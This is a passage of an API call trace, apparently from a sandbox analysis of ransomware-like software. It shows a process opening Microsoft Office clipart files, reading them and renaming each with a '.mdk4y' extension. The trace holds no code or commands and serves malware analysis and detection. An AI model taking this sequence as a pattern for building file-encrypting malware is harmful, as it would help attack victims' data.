lpPerformanceCount=0x37dee4*=1820555400000) returned 1 [0130.324] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820555400000) returned 1 [0130.324] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.mdk4y")) returned 1 [0130.325] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.325] AreFileApisANSI () returned 1 [0130.325] GetACP () returned 0x4e4 [0130.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD09662_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD09662_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.325] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.326] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820555600000) returned 1 [0130.326] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x504a, lpOverlapped=0x0) returned 1 [0130.330] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820556000000) returned 1 [0130.330] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820556000000) returned 1 [0130.331] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.mdk4y")) returned 1 [0130.331] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.331] AreFileApisANSI () returned 1 [0130.331] GetACP () returned 0x4e4 [0130.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD09664_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD09664_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.332] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820556200000) returned 1 [0130.332] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f1e, lpOverlapped=0x0) returned 1 [0130.343] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820557300000) returned 1 [0130.343] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820557300000) returned 1 [0130.343] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.mdk4y")) returned 1 [0130.344] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.344] AreFileApisANSI () returned 1 [0130.344] GetACP () returned 0x4e4 [0130.344] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10890_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD10890_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.344] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820557400000) returned 1 [0130.344] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x34cb, lpOverlapped=0x0) returned 1 [0130.365] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820559500000) returned 1 [0130.365] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820559500000) returned 1 [0130.366] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.mdk4y")) returned 1 [0130.366] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.366] AreFileApisANSI () returned 1 [0130.366] GetACP () returned 0x4e4 [0130.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10972_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD10972_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.367] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.367] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820559700000) returned 1 [0130.367] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4edd, lpOverlapped=0x0) returned 1 [0130.380] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820561000000) returned 1 [0130.380] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820561000000) returned 1 [0130.381] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.mdk4y")) returned 1 [0130.381] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.381] AreFileApisANSI () returned 1 [0130.381] GetACP () returned 0x4e4 [0130.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD19563_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD19563_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.381] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.382] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820561200000) returned 1 [0130.382] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4fe6, lpOverlapped=0x0) returned 1 [0130.383] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820561300000) returned 1 [0130.383] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820561300000) returned 1 [0130.383] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.mdk4y")) returned 1 [0130.385] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.385] AreFileApisANSI () returned 1 [0130.385] GetACP () returned 0x4e4 [0130.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD19582_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD19582_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.386] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.389] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820561900000) returned 1 [0130.389] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3d75, lpOverlapped=0x0) returned 1 [0130.396] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820562600000) returned 1 [0130.396] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820562600000) returned 1 [0130.396] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.mdk4y")) returned 1 [0130.397] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.397] AreFileApisANSI () returned 1 [0130.397] GetACP () returned 0x4e4 [0130.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD19695_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD19695_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.397] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.397] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820562700000) returned 1 [0130.397] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32b6, lpOverlapped=0x0) returned 1 [0130.417] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820564700000) returned 1 [0130.417] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820564700000) returned 1 [0130.417] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.mdk4y")) returned 1 [0130.418] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.418] AreFileApisANSI () returned 1 [0130.418] GetACP () returned 0x4e4 [0130.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD19827_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD19827_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.419] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.419] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820564900000) returned 1 [0130.419] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x25ee, lpOverlapped=0x0) returned 1 [0130.431] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820566100000) returned 1 [0130.431] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820566100000) returned 1 [0130.432] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.mdk4y")) returned 1 [0130.432] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.432] AreFileApisANSI () returned 1 [0130.432] GetACP () returned 0x4e4 [0130.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD19828_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD19828_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.432] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.433] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820566300000) returned 1 [0130.433] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2244, lpOverlapped=0x0) returned 1 [0130.434] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820566400000) returned 1 [0130.434] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820566400000) returned 1 [0130.437] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.mdk4y")) returned 1 [0130.437] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.437] AreFileApisANSI () returned 1 [0130.437] GetACP () returned 0x4e4 [0130.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD19986_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD19986_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.437] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.438] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820566800000) returned 1 [0130.438] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3896, lpOverlapped=0x0) returned 1 [0130.473] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820570300000) returned 1 [0130.473] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820570300000) returned 1 [0130.473] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.mdk4y")) returned 1 [0130.474] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.474] AreFileApisANSI () returned 1 [0130.474] GetACP () returned 0x4e4 [0130.474] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD19988_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD19988_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.474] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.474] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820570400000) returned 1 [0130.474] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4780, lpOverlapped=0x0) returned 1 [0130.572] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820580200000) returned 1 [0130.572] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820580200000) returned 1 [0130.573] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.mdk4y")) returned 1 [0130.573] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.573] AreFileApisANSI () returned 1 [0130.573] GetACP () returned 0x4e4 [0130.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD20013_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD20013_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.573] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.574] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820580400000) returned 1 [0130.574] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2b32, lpOverlapped=0x0) returned 1 [0130.575] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820580500000) returned 1 [0130.575] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820580500000) returned 1 [0130.576] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.mdk4y")) returned 1 [0130.576] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.576] AreFileApisANSI () returned 1 [0130.576] GetACP () returned 0x4e4 [0130.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00008_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00008_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.576] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.585] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820581500000) returned 1 [0130.585] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x30e8, lpOverlapped=0x0) returned 1 [0130.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820589500000) returned 1 [0130.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820589500000) returned 1 [0130.668] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.mdk4y")) returned 1 [0130.669] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.669] AreFileApisANSI () returned 1 [0130.669] GetACP () returned 0x4e4 [0130.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00012_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00012_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.669] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820592300000) returned 1 [0130.693] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x265a, lpOverlapped=0x0) returned 1 [0130.734] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820596400000) returned 1 [0130.734] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820596400000) returned 1 [0130.734] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft 